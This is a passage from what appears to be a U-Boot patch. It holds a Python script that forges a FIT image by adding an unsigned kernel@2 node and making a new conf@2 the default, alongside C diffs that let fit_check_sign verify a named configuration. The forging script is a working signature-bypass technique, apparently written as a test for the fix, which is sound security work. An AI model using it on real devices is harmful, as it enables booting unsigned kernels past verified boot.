return bytes(b)
def write_fdt(root, strblock, fp):
"""
Writes out a complete flattened device tree (or FIT)
"""
header = HeaderV17()
header.magic = OF_DT_HEADER
header.version = 17
header.last_comp_version = 16
fp.write(header.pack())
header.off_mem_rsvmap = fp.tell()
fp.write(RRHeader().pack())
structs = compose_structs(root)
header.off_dt_struct = fp.tell()
header.size_dt_struct = len(structs)
fp.write(structs)
strings = compose_strings(strblock)
header.off_dt_strings = fp.tell()
header.size_dt_strings = len(strings)
fp.write(strings)
header.totalsize = fp.tell()
fp.seek(0)
fp.write(header.pack())
#
# pretty printing / converting to DT source
#
def as_bytes(value):
return ' '.join(["%02X" % x for x in value])
def prety_print_value(value):
"""
Formats a property value as appropriate depending on the guessed data type
"""
if not value:
return '""'
if value[-1] == b'\x00':
printable = True
for x in value[:-1]:
x = ord(x)
if x != 0 and (x < 0x20 or x > 0x7F):
printable = False
break
if printable:
value = value[:-1]
return ', '.join('"' + x + '"' for x in value.split(b'\x00'))
if len(value) > 0x80:
return '[' + as_bytes(value[:0x80]) + ' ... ]'
return '[' + as_bytes(value) + ']'
def pretty_print_r(node, strblock, indent=0):
"""
Prints out a single node, recursing further for each of its children
"""
spaces = ' ' * indent
print((spaces + '%s {' % (node.name.decode('utf-8') if node.name else '/')))
for p in node.props:
print((spaces + ' %s = %s;' % (strblock[p.name].decode('utf-8'), prety_print_value(p.value))))
for c in node.children:
pretty_print_r(c, strblock, indent+1)
print((spaces + '};'))
def pretty_print(node, strblock):
"""
Generates an almost-DTS formatted printout of the parsed device tree
"""
print('/dts-v1/;')
pretty_print_r(node, strblock, 0)
#
# manipulating the DT structure
#
def manipulate(root, strblock):
"""
Maliciously manipulates the structure to create a crafted FIT file
"""
# locate /images/kernel@1 (frankly, it just expects it to be the first one)
kernel_node = root[0][0]
# clone it to save time filling all the properties
fake_kernel = kernel_node.clone()
# rename the node
fake_kernel.name = b'kernel@2'
# get rid of signatures/hashes
fake_kernel.children = []
# NOTE: this simply replaces the first prop... either description or data
# should be good for testing purposes
fake_kernel.props[0].value = b'Super 1337 kernel\x00'
# insert the new kernel node under /images
root[0].children.append(fake_kernel)
# modify the default configuration
root[1].props[0].value = b'conf@2\x00'
# clone the first (only?) configuration
fake_conf = root[1][0].clone()
# rename and change kernel and fdt properties to select the crafted kernel
fake_conf.name = b'conf@2'
fake_conf.props[0].value = b'kernel@2\x00'
fake_conf.props[1].value = b'fdt@1\x00'
# insert the new configuration under /configurations
root[1].children.append(fake_conf)
return root, strblock
def main(argv):
with open(argv[1], 'rb') as fp:
root, strblock = read_fdt(fp)
print("Before:")
pretty_print(root, strblock)
root, strblock = manipulate(root, strblock)
print("After:")
pretty_print(root, strblock)
with open('blah', 'w+b') as fp:
write_fdt(root, strblock, fp)
if __name__ == '__main__':
import sys
main(sys.argv)
# EOF

View file

@ -27,6 +27,7 @@
*/ */
int fdt_remove_unused_strings(const void *old, void *new); int fdt_remove_unused_strings(const void *old, void *new);
int fit_check_sign(const void *working_fdt, const void *key); int fit_check_sign(const void *fit, const void *key,
const char *fit_uname_config);
#endif /* __FDT_HOST_H__ */ #endif /* __FDT_HOST_H__ */

View file

@ -41,6 +41,7 @@ int main(int argc, char **argv)
void *fit_blob; void *fit_blob;
char *fdtfile = NULL; char *fdtfile = NULL;
char *keyfile = NULL; char *keyfile = NULL;
char *config_name = NULL;
char cmdname[256]; char cmdname[256];
int ret; int ret;
void *key_blob; void *key_blob;
@ -48,7 +49,7 @@ int main(int argc, char **argv)
strncpy(cmdname, *argv, sizeof(cmdname) - 1); strncpy(cmdname, *argv, sizeof(cmdname) - 1);
cmdname[sizeof(cmdname) - 1] = '\0'; cmdname[sizeof(cmdname) - 1] = '\0';
while ((c = getopt(argc, argv, "f:k:")) != -1) while ((c = getopt(argc, argv, "f:k:c:")) != -1)
switch (c) { switch (c) {
case 'f': case 'f':
fdtfile = optarg; fdtfile = optarg;
@ -56,6 +57,9 @@ int main(int argc, char **argv)
case 'k': case 'k':
keyfile = optarg; keyfile = optarg;
break; break;
case 'c':
config_name = optarg;
break;
default: default:
usage(cmdname); usage(cmdname);
break; break;
@ -78,7 +82,7 @@ int main(int argc, char **argv)
return EXIT_FAILURE; return EXIT_FAILURE;
image_set_host_blob(key_blob); image_set_host_blob(key_blob);
ret = fit_check_sign(fit_blob, key_blob); ret = fit_check_sign(fit_blob, key_blob, config_name);
if (!ret) { if (!ret) {
ret = EXIT_SUCCESS; ret = EXIT_SUCCESS;
fprintf(stderr, "Signature check OK\n"); fprintf(stderr, "Signature check OK\n");

View file

@ -170,7 +170,7 @@ static int fit_image_setup_sig(struct image_sign_info *info,
memset(info, '\0', sizeof(*info)); memset(info, '\0', sizeof(*info));
info->keydir = keydir; info->keydir = keydir;
info->keyname = fdt_getprop(fit, noffset, "key-name-hint", NULL); info->keyname = fdt_getprop(fit, noffset, FIT_KEY_HINT, NULL);
info->fit = fit; info->fit = fit;
info->node_offset = noffset; info->node_offset = noffset;
info->name = strdup(algo_name); info->name = strdup(algo_name);
@ -249,7 +249,7 @@ static int fit_image_process_sig(const char *keydir, void *keydest,
free(value); free(value);
/* Get keyname again, as FDT has changed and invalidated our pointer */ /* Get keyname again, as FDT has changed and invalidated our pointer */
info.keyname = fdt_getprop(fit, noffset, "key-name-hint", NULL); info.keyname = fdt_getprop(fit, noffset, FIT_KEY_HINT, NULL);
/* /*
* Write the public key into the supplied FDT file; this might fail * Write the public key into the supplied FDT file; this might fail
@ -337,7 +337,7 @@ static int fit_image_setup_cipher(struct image_cipher_info *info,
info->keydir = keydir; info->keydir = keydir;
/* Read the key name */ /* Read the key name */
info->keyname = fdt_getprop(fit, noffset, "key-name-hint", NULL); info->keyname = fdt_getprop(fit, noffset, FIT_KEY_HINT, NULL);
if (!info->keyname) { if (!info->keyname) {
printf("Can't get key name for cipher '%s' in image '%s'\n", printf("Can't get key name for cipher '%s' in image '%s'\n",
node_name, image_name); node_name, image_name);
@ -886,7 +886,7 @@ static int fit_config_process_sig(const char *keydir, void *keydest,
free(region_prop); free(region_prop);
/* Get keyname again, as FDT has changed and invalidated our pointer */ /* Get keyname again, as FDT has changed and invalidated our pointer */
info.keyname = fdt_getprop(fit, noffset, "key-name-hint", NULL); info.keyname = fdt_getprop(fit, noffset, FIT_KEY_HINT, NULL);
/* Write the public key into the supplied FDT file */ /* Write the public key into the supplied FDT file */
if (keydest) { if (keydest) {
@ -1025,19 +1025,22 @@ int fit_add_verification_data(const char *keydir, void *keydest, void *fit,
} }
#ifdef CONFIG_FIT_SIGNATURE #ifdef CONFIG_FIT_SIGNATURE
int fit_check_sign(const void *fit, const void *key) int fit_check_sign(const void *fit, const void *key,
const char *fit_uname_config)
{ {
int cfg_noffset; int cfg_noffset;
int ret; int ret;
cfg_noffset = fit_conf_get_node(fit, NULL); cfg_noffset = fit_conf_get_node(fit, fit_uname_config);
if (!cfg_noffset) if (!cfg_noffset)
return -1; return -1;
printf("Verifying Hash Integrity ... "); printf("Verifying Hash Integrity for node '%s'... ",
fdt_get_name(fit, cfg_noffset, NULL));
ret = fit_config_verify(fit, cfg_noffset); ret = fit_config_verify(fit, cfg_noffset);
if (ret) if (ret)
return ret; return ret;
printf("Verified OK, loading images\n");
ret = bootm_host_load_images(fit, cfg_noffset); ret = bootm_host_load_images(fit, cfg_noffset);
return ret; return ret;